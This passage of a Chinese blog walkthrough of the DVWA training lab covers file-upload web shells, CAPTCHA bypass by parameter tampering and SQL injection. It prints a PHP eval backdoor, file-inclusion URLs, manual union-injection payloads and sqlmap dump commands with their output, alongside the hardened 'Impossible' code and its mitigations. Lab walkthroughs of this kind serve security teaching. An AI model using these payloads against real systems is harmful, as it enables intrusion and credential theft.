data-original-src="http://static.zybuluo.com/JasonChiu/542iwg0ml1osou0azn31u1hx/Screenshot-2018-3-13%20Vulnerability%20File%20Upload%20Damn%20Vulnerable%20Web%20Application%20(DVWA)%20v1%2010%20Development%20(1).png" alt="DVWA实践_第22张图片" width="650" height="260" style="border:1px solid black;"></a> <div class="image-caption"> Screenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-28kB </div> </div> <br> 文件包含： <br> <code>http://192.168.0.115/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.0.115/dvwa/hackable/uploads/hacktest.png</code> <br> C刀连接： <code>http://192.168.0.115/dvwa/vulnerabilities/fi/hack.php</code> <br> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/0b3377264942422db4c9029b669cd686.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/0b3377264942422db4c9029b669cd686.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/7kny3uihvqowriy47jqnpydw/hsfgh.png" alt="DVWA实践_第23张图片" width="650" height="436" style="border:1px solid black;"></a> <div class="image-caption"> hsfgh.png-58.5kB </div> </div> <p></p> <ol start="3"> <li>00截断<br> <code>filename="hack1.php"</code> 在后面添加00。<br> 修改<code>Content-Type: application/octet-stream</code>为image/png<br> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/f2b4a2f29a5b462d89ba57c7491118aa.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/f2b4a2f29a5b462d89ba57c7491118aa.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/1t8ky1s03vmij7c5m0fq93f3/asgafg.png" alt="DVWA实践_第24张图片" width="650" height="324" style="border:1px solid black;"></a> <div class="image-caption"> asgafg.png-104.2kB </div> </div> </li> </ol> <h3>6.3 High</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && #文件名后缀必须是jpg，png，jpeg ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { #getimagesize() 函数用于获取图像大小及相关信息，所以必须上传图片木马 // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?> </code></pre> <p>文件上传+文件包含：</p> <ol> <li>上传木马图片 <code><?php fputs(fopen('hack.php','w'),'<?php @eval($_POST["hack"]);?>');?></code> </li> <li>文件包含：<br> <code>http://192.168.0.115/dvwa/vulnerabilities/fi/?page=file:///C:/wamp/www/dvwa/hackable/uploads/hacktest.png</code> </li> <li>C刀连接：<code>http://192.168.0.115/dvwa/vulnerabilities/fi/hack.php</code> </li> </ol> <h3>6.4 Impossible</h3> <p>代码：</p> <pre><code> <?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); #CSRF防护 // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; #对文件名加密，使得00截断无法绕过 $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); #返回一图像标识符 imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); #imagecreatefrompng() 返回一图像标识符，代表了从给定的文件名取得的图像 imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?> </code></pre> <ol> <li>Impossible级别对文件名做加密，防止00截断绕过；</li> <li>加入了token的验证，防止CSRF攻击；</li> <li>加入了图像内容的识别，防止含有恶意脚本的文件上传。</li> </ol> <h1>7. Insecure CAPTCHA()</h1> <h3>7.1 Low</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> </code></pre> <p>有逻辑漏洞，当<code>step=1</code>,通过<code>recaptcha_check_answer</code>请求验证验证码的正确性，当我们用Burpsuite修改<code>step=2</code>可以直接绕过验证码验证。</p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/8551fae6e84c41c286068e151bf44ea9.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/8551fae6e84c41c286068e151bf44ea9.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/1xmzrenynem9frty2fcuwdqq/k.png" alt="DVWA实践_第25张图片" width="650" height="360" style="border:1px solid black;"></a> <div class="image-caption"> k.png-130.1kB </div> </div> <h3>7.2 Medium</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> </code></pre> <p>要验证<code>$_POST[ 'passed_captcha' ]</code>为真，抓包添加参数即可：<br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/98c387611a6143eb9f035774614eebf1.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/98c387611a6143eb9f035774614eebf1.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/pqo29t174zvokjo52lteaz2l/gll.png" alt="DVWA实践_第26张图片" width="650" height="358" style="border:1px solid black;"></a> <div class="image-caption"> gll.png-108.4kB </div> </div> <p></p> <h3>7.3 High</h3> <p>代码：</p> <pre><code> <?php if( isset( $_POST[ 'Change' ] ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { #post的['recaptcha_response_field'] 要等于 'hidd3n_valu3，并且useragent等于reCAPTCHA // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for user echo "<pre>Password Changed.</pre>"; } else { // Ops. Password mismatch $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?> </code></pre> <p>通过抓包修改post的<code>recaptcha_response_field=hidd3n_valu3</code>，并且修改 User-Agent为<code>reCAPTCHA</code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/60b6558993b24249aaa8f5609b18fa4f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/60b6558993b24249aaa8f5609b18fa4f.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/a8pqazfykyuoz4mkp9f092w6/k;j.png" alt="DVWA实践_第27张图片" width="650" height="370" style="border:1px solid black;"></a> <div class="image-caption"> k;j.png-147.1kB </div> </div> <p></p> <h3>7.4 Impossible</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $pass_conf = $_POST[ 'password_conf' ]; $pass_conf = stripslashes( $pass_conf ); $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_conf = md5( $pass_conf ); $pass_curr = $_POST[ 'password_current' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the end user - success! echo "<pre>Password Changed.</pre>"; } else { // Feedback for the end user - failed! echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; $hide_form = false; } } } // Generate Anti-CSRF token generateSessionToken(); ?> </code></pre> <ol> <li>验证过程不再分为两个步骤了；</li> <li>需要输入之前的密码，加强了防范；</li> <li>PDO技术防止sql注入；</li> <li>token验证防止CSRF攻击</li> </ol> <h1>8. SQL Injection(SQL注入)</h1> <p>SQL注入指的是攻击者通过注入恶意的sql语句，破坏sql查询语句的结构，绕过web服务器的检测，执行恶意的sql命令，最后拿到数据库里面的内容。</p> <hr> <ul> <li>sql注入的分类：<br> 1.基于布尔的盲注，即可以根据返回页面判断条件真假的注入。<br> 2.基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。<br> 3.基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。<br> 4.联合查询注入，可以使用union的情况下的注入。<br> 5.堆查询注入，可以同时执行多条语句的执行时的注入。</li> </ul> <hr> <ul> <li>手工sql注入步骤：</li> </ul> <p>1.判断是否存在注入点,字符型/数字型<br> 2.判断字段数order by<br> 3.判断显示的字段select 1,2,3<br> 4.查询数据库<br> 5.查询表<br> 6.查询字段<br> 7.拖库</p> <hr> <h3>8.1 Low</h3> <p>代码：</p> <pre><code><?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?> </code></pre> <p>对id没有进行过滤，而且是字符型注入。<br> sqlmap注入：</p> <pre><code>root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.1.11#stable} |_ -| . [)] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:22:11 [00:22:11] [INFO] resuming back-end DBMS 'mysql' [00:22:11] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: Submit=Submit&id=1' OR NOT 6456=6456# Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: Submit=Submit&id=1' AND (SELECT 6049 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (ELT(6049=6049,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- afyt Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: Submit=Submit&id=1' AND SLEEP(5)-- luAN Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: Submit=Submit&id=1' UNION ALL SELECT CONCAT(0x7176716271,0x63487a687a41724c63487755616975634a4f436b7057705772615477544856585a4c4859654d6766,0x7170717171),NULL# --- [00:22:11] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.9, PHP 5.5.12 back-end DBMS: MySQL >= 5.0 [00:22:11] [INFO] fetching columns for table 'users' in database 'dvwa' [00:22:11] [INFO] fetching entries for table 'users' in database 'dvwa' [00:22:11] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] [00:22:12] [INFO] using hash method 'md5_generic_passwd' [00:22:12] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' [00:22:12] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [00:22:12] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [00:22:12] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3' [00:22:12] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' Database: dvwa Table: users [5 entries] +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | user_id | avatar | user | password | last_name | first_name | last_login | failed_login | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | 1 | http://127.0.0.1/dvwa/hackable/users/admin.jpg | admin | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2018-03-13 10:53:08 | 0 | | 2 | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2018-03-08 22:33:32 | 0 | | 3 | http://127.0.0.1/dvwa/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2018-03-08 22:33:32 | 0 | | 4 | http://127.0.0.1/dvwa/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2018-03-08 22:33:32 | 0 | | 5 | http://127.0.0.1/dvwa/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2018-03-08 22:33:32 | 0 | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ [00:22:12] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv' [00:22:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115' [*] shutting down at 00:22:12 </code></pre> <p>手工注入：</p> <pre><code>1' and 1=1 -- - 1' and 1=2 -- - 1' order by 2 -- - 1' union select 1,2 -- - 1' union select database(),2 -- - 1' union select table_name,2 from information_schema.tables where table_schema=database() -- - 1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- - 1' union select concat_ws(0x7c,user_id,user,password),2 from users -- - </code></pre> <h3>8.2 Medium</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); #mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?> </code></pre> <p>对id进行了转义,不能出现单引号，但是是数字型注入。页面采用了下拉选择表单，我们需要通过Burpsuite来修改参数：</p> <br> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/03d7b606a5804fe68bb5bd7be3c9e1ba.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/03d7b606a5804fe68bb5bd7be3c9e1ba.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/todfcmyyu150hijn3fsiya95/Screenshot-2018-3-14%20Vulnerability%20SQL%20Injection%20Damn%20Vulnerable%20Web%20Application%20(DVWA)%20v1%2010%20Development%20.png" alt="DVWA实践_第28张图片" width="650" height="273" style="border:1px solid black;"></a> <div class="image-caption"> Screenshot-2018-3-14 Vulnerability SQL Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-32.9kB </div> </div> <br> <p>手工注入：</p> <br> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/05d9c6fb6b914672b4fb60c71c94844a.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/05d9c6fb6b914672b4fb60c71c94844a.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/do053pbtjuan89qc5zrnvllc/tyeww.png" alt="DVWA实践_第29张图片" width="650" height="309" style="border:1px solid black;"></a> <div class="image-caption"> tyeww.png-132.5kB </div> </div> <pre><code>1 and 1=1 -- - 1 and 1=2 -- - 1 order by 2 -- - 1 union select 1,2 -- - 1 union select database(),2 -- - 1 union select table_name,2 from information_schema.tables where table_schema=database() -- - 1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- - #单引号被转义了，不行 1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273 -- - #采用十六进制绕过 1 union select concat_ws(0x7c,user_id,user,password),2 from users -- - </code></pre> <p>sqlmap注入：</p> <pre><code>root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/# --data='id=1&Submit=Submit' --cookie='security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.1.11#stable} |_ -| . [.] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 23:56:15 [23:56:15] [INFO] resuming back-end DBMS 'mysql' [23:56:15] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: id=1 OR NOT 4916=4916#&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 AND (SELECT 4992 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (ELT(4992=4992,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1 AND SLEEP(5)&Submit=Submit Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT CONCAT(0x7176716271,0x516d75706e584d6f5564616b485969647a6b72586a6a646446486e5470514e66596b49566c4e4570,0x7170717171),NULL-- qzzF&Submit=Submit --- [23:56:15] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.9, PHP 5.5.12 back-end DBMS: MySQL >= 5.0 [23:56:15] [INFO] fetching columns for table 'users' in database 'dvwa' [23:56:15] [INFO] fetching entries for table 'users' in database 'dvwa' [23:56:15] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] [23:56:16] [INFO] using hash method 'md5_generic_passwd' [23:56:16] [INFO] resuming password 'password' for hash 